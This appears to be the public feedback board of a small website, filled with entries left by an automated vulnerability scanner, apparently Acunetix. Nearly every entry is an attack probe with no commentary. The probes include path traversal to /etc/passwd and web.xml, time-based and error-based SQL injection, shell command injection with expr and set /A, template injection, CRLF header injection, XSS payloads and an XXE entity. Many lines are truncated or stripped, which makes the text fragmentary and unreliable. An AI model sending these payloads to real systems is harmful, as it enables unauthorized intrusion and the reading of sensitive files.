反响板：

admi1：1

：1

admi1：1

admi1：../../../../WEB-INF/web.xml;1

admi1：../../../../WEB-INF/web.xml

admi1：../../../WEB-INF/web.xml;1

admi1：../../../WEB-INF/web.xml

admi1：../../WEB-INF/web.xml;1

admi1：../../WEB-INF/web.xml

admi1：../WEB-INF/web.xml;1

admi1：../WEB-INF/web.xml

admi1：WEB-INF/web.xml;1

admi1：WEB-INF/web.xml

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

admi1：../../../../../../Windows/win.ini1

admi1：./../../../../../../Windows/win.ini

admi1：../../../../../../Windows/win.ini

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

admi1：../../../../../../../../../../../../../../../../../../Windows/win.ini1

admi1：./../../../../../../../../../../../../../../../../../../Windows/win.ini

admi1：../../../../../../../../../../../../../../../../../../Windows/win.ini

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

admi1：..\..\..\..\..\..\Windows\win.ini1

admi1：.\..\..\..\..\..\..\Windows\win.ini

admi1：..\..\..\..\..\..\Windows\win.ini

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini1

admi1：.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：../../../../../../windows/win.ini1

admi1：./../../../../../../windows/win.ini

admi1：../../../../../../windows/win.ini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini1

admi1：1

admi1：./../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：1

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：1

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216windows/win%u002eini

admi1：1

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：1

admi1：..\..\..\..\..\..\windows/win.ini1

admi1：1

admi1：.\..\..\..\..\..\..\windows/win.ini

admi1：..\..\..\..\..\..\windows/win.ini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini1

admi1：.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：1

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：1

admi1：../../../../../../windows/win.ini1

admi1：./../../../../../../windows/win.ini

admi1：1

admi1：../../../../../../windows/win.ini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini1

admi1：./../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216windows/win%u002eini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：..\..\..\..\..\..\windows/win.ini1

admi1：1

admi1：.\..\..\..\..\..\..\windows/win.ini

admi1：..\..\..\..\..\..\windows/win.ini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：1

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini1

admi1：.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：1

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：%u2215etc%u2215passwd

admi1：%2fetc%2fpasswd

admi1：1

admi1：/etc/passwd1

admi1：/etc/passwd

admi1：1

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

admi1：1

admi1：1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',3)='a

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

admi1：1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',0)='h

admi1：1/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('b',3)

admi1：1/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('s',0)

admi1：./../../../../../../etc/passwd

admi1：1'and(select+1)>0waitfor/**/delay'0:0:3

admi1：1'and(select+1)>0waitfor/**/delay'0:0:0

admi1：1/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

admi1：1/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

admi1：1'/**/and(select'1'from/**/pg_sleep(0))::text>'0

admi1：../../../../../../etc/passwd1

admi1：../../../../../../etc/passwd

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

admi1：1/**/and(select+1/**/from/**/pg_sleep(3))>0/**/

admi1：1/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

admi1：./../../../../../../../../../../../../../../../../../../etc/passwd

admi1：1"and(select*from(select+sleep(0))a/**/union/**/select+1)="

admi1：../../../../../../../../../../../../../../../../../../etc/passwd1

admi1：../../../../../../../../../../../../../../../../../../etc/passwd

../../../../WEB-INF/web.xml;admi1：1

../../../../WEB-INF/web.xml：1

../../../WEB-INF/web.xml;admi1：1

admi1：1'and(select*from(select+sleep(3))a/**/union/**/select+1)='

../../../WEB-INF/web.xml：1

../../WEB-INF/web.xml;admi1：1

../../WEB-INF/web.xml：1

../WEB-INF/web.xml;admi1：1

../WEB-INF/web.xml：1

WEB-INF/web.xml;admi1：1

admi1：1'and(select*from(select+sleep(0))a/**/union/**/select+1)='

WEB-INF/web.xml：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：(select*from(select+sleep(4)union/**/select+1)a)

../../../../../../Windows/win.iniadmi1：1

./../../../../../../Windows/win.ini：1

admi1：(select*from(select+sleep(3)union/**/select+1)a)

../../../../../../Windows/win.ini：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

../../../../../../../../../../../../../../../../..：1

./../../../../../../../../../../../../../../../../：1

../../../../../../../../../../../../../../../../..：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\Windows\win.iniadmi1：1

admi1：(select*from(select+sleep(0)union/**/select+1)a)

admi1：1"and"x"="q

admi1：1"and"b"="b

admi1：1'and'x'='m

admi1：1'and'h'='h

admi1：1/**/and+4=9

admi1：1/**/and+4=4

.\..\..\..\..\..\..\Windows\win.ini：1

admi1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',3)=：1

admi1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',0)=：1

admi1'and(select+1)>0waitfor/**/delay'0:0:4：1

admi1'and(select+1)>0waitfor/**/delay'0:0:3：1

..\..\..\..\..\..\Windows\win.ini：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

admi1：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

admi1'and(select+1)>0waitfor/**/delay'0:0:0：1

../../../../../../windows/win.iniadmi1：1

admi1：1

./../../../../../../windows/win.ini：1

admi1'/**/and(select'1'from/**/pg_sleep(3))::text>：1

admi1：1

../../../../../../windows/win.ini：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

../../../../../../../../../../../../../../../../..：1

./../../../../../../../../../../../../../../../../：1

admi1'/**/and(select'1'from/**/pg_sleep(0))::text>：1

admi1：1

admi1"and(select*from(select+sleep(3))a/**/union/*：1

admi1：1

admi1"and(select*from(select+sleep(0))a/**/union/*：1

admi1'and(select*from(select+sleep(3))a/**/union/*：1

admi1：1

admi1'and(select*from(select+sleep(0))a/**/union/*：1

admi1：1

../../../../../../../../../../../../../../../../..：1

admi1：1

admi1"and"a"="m：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

admi1"and"w"="w：1

admi1：1

admi1：expr 800805287 + 888044679

admi1：

admi1：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

admi1'and'c'='m：1

admi1'and'i'='i：1

admi1：1

admi1：

admi1：1&set /A 820110011+930758189

admi1：1$(expr 868862748 + 951410918)

..\..\..\..\..\..\windows/win.iniadmi1：1

admi1：

admi1：1

admi1：1|expr 809236135 + 925766890

.\..\..\..\..\..\..\windows/win.ini：1

..\..\..\..\..\..\windows/win.ini：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1 expr 968506568 + 930553994

expr 895078797 + 948994736：1

admi1&set /A 982109306+866575717：1

admi1$(expr 929918888 + 978417195)：1

admi1|expr 817150735 + 996825820：1

admi1：1

admi1 expr 931558044 + 979100136：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

admi1：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

admi1：

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

../../../../../../windows/win.iniadmi1：1

admi1：1

./../../../../../../windows/win.ini：1

admi1：1

admi1：

admi1：1

../../../../../../windows/win.ini：1

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

../../../../../../../../../../../../../../../../..：1

./../../../../../../../../../../../../../../../../：1

admi1：1

../../../../../../../../../../../../../../../../..：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

admi1：

admi1：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

..\..\..\..\..\..\windows/win.iniadmi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：1'"\(

admi1：1鎈'"\(

admi1：1

admi1：1'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1252321074')))>'0

admi1：1

.\..\..\..\..\..\..\windows/win.ini：1

admi1：

admi1：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1215123959')))

admi1：1

admi1：1/**/and/**/cast(md5('1438465085')as/**/int)>0

..\..\..\..\..\..\windows/win.ini：1

admi1：1'and(select'1'from/**/cast(md5(1195528592)as/**/int))>'0

admi1：1

'-var_dump(md5(652246263))-'：1

admi1：extractvalue(1,concat(char(126),md5(1445349243)))

admi1：1"and/**/extractvalue(1,concat(char(126),md5(1307687101)))and"

admi1：1'and/**/extractvalue(1,concat(char(126),md5(1965729750)))and'

admi1：1

admi1'"\(：1

admi1：1

admi1鎈'"\(：1

admi1：1

admi1'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：1

admi1：1

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：1

admi1：1

admi1/**/and/**/cast(md5('1097036984')as/**/int)>0：1

admi1：1

admi1'and(select'1'from/**/cast(md5(1313999768)as/：1

admi1：1

extractvalue(1,concat(char(126),md5(1608071148)))：1

admi1：1

admi1"and/**/extractvalue(1,concat(char(126),md5(1：1

admi1：1

admi1：1\r\nCRLF-Header:CRLF-Value

admi1：1

admi1：1%0d%0aCRLF-Header:CRLF-Value

admi1：1

admi1：1 CRLF-Header:CRLF-Value

admi1：<%- 938737110+812543467 %>

admi1'and/**/extractvalue(1,concat(char(126),md5(1：1

admi1：1

admi1：#set($c=853269453+839077813)${c}$c

admi1：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

admi1：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

${@var_dump(md5(921469233))};：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：rmppmdiflxfuuotqllfq

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\：1

admi1：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

%u2215etc%u2215passwd：1

admi1：${(892186467+824115051)?c}

admi1：1

%2fetc%2fpasswd：1

admi1：${856313764+984564707}

admi1：1

admi1：

admi1：/*1*/{{971248664+917594304}}

<%- 818413641+917019904 %>：1

admi1：1

#set($c=927194834+898741890)${c}$c：1

${(966136675+894139658)?c}：1

${956812392+917777716}：1

admi1：1

admi1：

/*1*/{{899501748+877267593}}：1

admi1：1

/etc/passwdadmi1：1

admi1：1

rmppmdiflxfuuotqllfq：1

admi1：

admi1：1

/etc/passwd：1

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

./../../../../../../etc/passwd：1

../../../../../../etc/passwdadmi1：1

admi1：

../../../../../../etc/passwd：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

admi1：'+(42342*43332)+'

admi1：1

'+(44107*40780)+'：1

admi1：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

./../../../../../../../../../../../../../../../../：1

admi1：'-var_dump(md5(976853446))-'

admi1：${846578585+898926704}

${924916375+920074822}：1

admi1：${@var_dump(md5(706945925))};

admi1：

admi1：1

../../../../../../../../../../../../../../../../..：1

admi1：1

admin：extractvalue(1,concat(char(126),md5(1345345942)))

admin：12345678"and/**/extractvalue(1,concat(char(126),md5(1175125919)))and"

admin：12345678'and/**/extractvalue(1,concat(char(126),md5(1034861916)))and'

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',5)=：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)=：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:5：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:0：12345678

admin'/**/and(select'1'from/**/pg_sleep(5))>'0：12345678

admin'/**/and(select'1'from/**/pg_sleep(0))>'0：12345678

admin"and(select*from(select+sleep(5))a/**/union/*：12345678

admin"and(select*from(select+sleep(0))a/**/union/*：12345678

admin'and(select*from(select+sleep(5))a/**/union/*：12345678

admin'and(select*from(select+sleep(0))a/**/union/*：12345678

admin"and"u"="n：12345678

admin"and"y"="y：12345678

admin'and'r'='m：12345678

admin'and'n'='n：12345678

admin'"\(：12345678

admin鎈'"\(：12345678

admin'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：12345678

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：12345678

admin/**/and/**/cast(md5('1867796925')as/**/int)>0：12345678

admin'and(select'1'from/**/cast(md5(1665108989)as/：12345678

extractvalue(1,concat(char(126),md5(1470436249)))：12345678

admin"and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin'and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin：12345678

zbfezcbmncdfuyhzhxlk：12345678

admin：12345678

admin：<%- 899329193+887141725 %>

admin：#set($c=894390018+802491598)${c}$c

admin：${(884132433+826932318)?c}

admin：${817936909+974921137}

admin：/*1*/{{978893676+804794715}}

admin：'-var_dump(md5(281938328))-'

admin：${@var_dump(md5(208634219))};

admin：12345678&set /A 938487418+938193176

admin：12345678$(expr 842322539 + 994179229)

admin：12345678|expr 826253977 + 992851879

admin：12345678 expr 848429697 + 925984380

<%- 930527738+923433422 %>：12345678

admin：12345678

#set($c=852894004+971101984)${c}$c：12345678

${(950617788+935335135)?c}：12345678

${870881227+852780357}：12345678

/*1*/{{905275894+948704377}}：12345678

'-var_dump(md5(297743538))-'：12345678

${@var_dump(md5(707472248))};：12345678

admin&set /A 903935890+988751668：12345678

admin$(expr 985999290 + 850446589)：12345678

admin|expr 977869745 + 811227505：12345678

admin expr 878827598 + 850045486：12345678

admin：12345678

admin：zbfezcbmncdfuyhzhxlk

admin：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',2)=：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)=：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:2：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:0：12345678

admin'/**/and(select'1'from/**/pg_sleep(2))>'0：12345678

admin'/**/and(select'1'from/**/pg_sleep(0))>'0：12345678

admin"and(select*from(select+sleep(2))a/**/union/*：12345678

admin"and(select*from(select+sleep(0))a/**/union/*：12345678

admin'and(select*from(select+sleep(2))a/**/union/*：12345678

admin'and(select*from(select+sleep(0))a/**/union/*：12345678

admin"and"b"="u：12345678

admin"and"m"="m：12345678

admin'and'b'='k：12345678

admin'and'c'='c：12345678

admin'"\(：12345678

admin鎈'"\(：12345678

admin'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：12345678

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：12345678

admin/**/and/**/cast(md5('1700827088')as/**/int)>0：12345678

admin'and(select'1'from/**/cast(md5(1691307102)as/：12345678

extractvalue(1,concat(char(126),md5(1485253868)))：12345678

admin"and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin'and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin：12345678

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',0)='a

admin：12345678/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('o',2)

admin：12345678/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('w',0)

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:2

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:0

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

admin：12345678'/**/and(select'1'from/**/pg_sleep(2))>'0

admin：12345678'/**/and(select'1'from/**/pg_sleep(0))>'0

admin：12345678/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

admin：12345678/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

admin：12345678"and(select*from(select+sleep(2))a/**/union/**/select+1)="

admin：12345678"and(select*from(select+sleep(0))a/**/union/**/select+1)="

admin：12345678'and(select*from(select+sleep(2))a/**/union/**/select+1)='

admin：12345678'and(select*from(select+sleep(0))a/**/union/**/select+1)='

admin：(select*from(select+sleep(2)union/**/select+1)a)

admin：(select*from(select+sleep(0)union/**/select+1)a)

admin：12345678

admin：12345678"and"w"="i

admin：12345678"and"f"="f

admin：12345678'and'q'='z

admin：12345678'and's'='s

admin：12345678/**/and+0=7

admin：12345678/**/and+1=1

admin：12345678'"\(

admin：12345678鎈'"\(

admin：12345678'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1078460126')))>'0

admin：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1415362589')))

admin：12345678/**/and/**/cast(md5('1417892302')as/**/int)>0

admin：12345678'and(select'1'from/**/cast(md5(1695047361)as/**/int))>'0

admin：extractvalue(1,concat(char(126),md5(1975998474)))

admin：12345678"and/**/extractvalue(1,concat(char(126),md5(1077203848)))and"

admin：12345678'and/**/extractvalue(1,concat(char(126),md5(1711233843)))and'

admin：12345678

admin：<%- 938537745+993089446 %>

admin：#set($c=991632089+940245656)${c}$c

admin：${(918316377+929572450)?c}

admin：${883075625+824237796}

admin：/*1*/{{811169190+871066755}}

admin：'-var_dump(md5(177691801))-'

admin：${@var_dump(md5(147082588))};

admin：12345678&set /A 958464610+832632118

admin：12345678$(expr 877647245 + 803581008)

admin：12345678|expr 868489708 + 878824509

admin：12345678 expr 921819635 + 942900374

<%- 893382199+958830983 %>：12345678

#set($c=933175191+836217722)${c}$c：12345678

${(999178524+810547641)?c}：12345678

${834878534+986135503}：12345678

/*1*/{{947295601+974097445}}：12345678

'-var_dump(md5(741460798))-'：12345678

${@var_dump(md5(137682429))};：12345678

admin&set /A 811531178+936959723：12345678

admin$(expr 985916112 + 820399185)：12345678

admin|expr 970840891 + 957908431：12345678

admin expr 929364572 + 948720282：12345678

admin：12345678

admin：gtmamzqurgzuhpoatxjq

gtmamzqurgzuhpoatxjq：12345678

admin：12345678

Peter Winter：555-555-

cvebtdje：1

r3FF21ScRiPtprompt988555ScRiPt：1

inputautofocusonfocusprompt911115：1

imgacuonmou搜索引擎优化verprompt919179：1

imgsrcxyzOnErRorprompt945007：1

13CScRiPt203Eprompt9694783CsCripT3E：1

bodyonloadprompt908962：1

imgsrctestaspvulnwebcomtdotgifonloadprompt919251：1

1divstylewidthe-xpressionprompt921040：1

1urljavascriptprompt932011httpwwwacunetixcomurl：1

videosourceonerrorjavascriptprompt977813：1

1：1

1ScRiPtacusrctestaspvulnwebcomtxssjs920161ScRiPt：1

1ScRiPtprompt904898ScRiPt：1

undefined1ScRiPtprompt962992ScRiPt：1

1ScRiPtprompt956302ScRiPt：1

OTMwNzQ5：1

hvawletswaitfordelay004：1

hvawletssleep4：1

hvawletsorsleep41limit1：1

hvawletswaitfordelay004：1

dcvgixdi：imgsrctestaspvulnwebcomtdotgifonloadprompt935335

1or230：1

dcvgixdi：13CScRiPt203Eprompt9569983CsCripT3E

dcvgixdi：imgacuonmou搜索引擎优化verprompt999356

hvawletsorsleep41limit1：1

hvawletssleep4：1

1or2323：1

dcvgixdi：imgsrcxyzOnErRorprompt956031

hvawletsorsleep41limit1：1

dcvgixdi：inputautofocusonfocusprompt980433

dcvgixdi：DDfhx1ScRiPtprompt988594ScRiPt

hvawlets：1

dcvgixdi：iframesrcdatatexthtmlbase64PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgoinvalid931008

1or6767：1

1or670：1

1or760：1

dcvgixdi：1urljavascriptprompt906411httpwwwacunetixcomurl

dcvgixdi：1divstylewidthe-xpressionprompt943896

hvawlets：1

dcvgixdi：bodyonloadprompt957073

1or7676：1

JyI：1

ee：1

dcvgixdi：1

dcvgixdi：videosourceonerrorjavascriptprompt955281

：1

dcvgixdi：1ScRiPtprompt963377ScRiPt

dcvgixdi：1ScRiPtacusrctestaspvulnwebcomtxssjs976355ScRiPt

dcvgixdi：svgxmlnshttpwwww3org2000svggonloadjavascriptprompt905266gsvg

1：1

：1

1à：1

VMUCh：1

dcvgixdi：OTUyNjQ4

vqdsxcki：1

dcvgixdi：undefined1ScRiPtprompt909470ScRiPt

：1

dcvgixdi：1ScRiPtprompt964008ScRiPt

vqdsxcki：1

vqdsxcki：

vqdsxcki：1à

hqhrdkno：

vqdsxcki：JyI

vqdsxcki：

vqdsxcki：1

ryjxktmi：1

vqdsxcki：Nsf4Y

ryjxktmi：1

vqdsxcki：ee

acunetixwvsinvalidfilename：1

hvawlets：1sleep4

jianshowasp：1

hvawlets：1waitfordelay004

qxormhvu：xmlversion10encodingutf8DOCTYPEacunetixENTITYacunetixentSYSTEMhttptestphpvulnwebcomdotgifxxxacunetixentxxx

hqhrdkno：1

ivbhuogj：1

fdnijdis：wwwacunetixtst

jianshowasp：1

qxormhvu：1

jianshowasp：1

vqdsxcki：1

hvawlets：1waitfordelay004

wwwacunetixtst：1

hvawlets：1waitfordelay004

hqhrdkno：1

hvawlets：1orsleep41limit1

hvawlets：1sleep4

hvawlets：1orsleep41limit1

fdnijdis：1

hvawlets：1or101101

hvawlets：1or790

hvawlets：1or1010

：1

hvawlets：1orsleep41limit1

vqdsxcki：1

eslufauy：1

ivbhuogj：1

hvawlets：1

vqdsxcki：1

hvawlets：1

hvawlets：1or5757

ivbhuogj：jianshowasp

printmd5acunetixwvssecuritytesta：1

hvawlets：1or570

printmd5acunetixwvssecuritytest：1

eslufauy：

vqdsxcki：1

printmd5acunetixwvssecuritytest：1

hvawlets：1or7979

ivbhuogj：jianshowasp

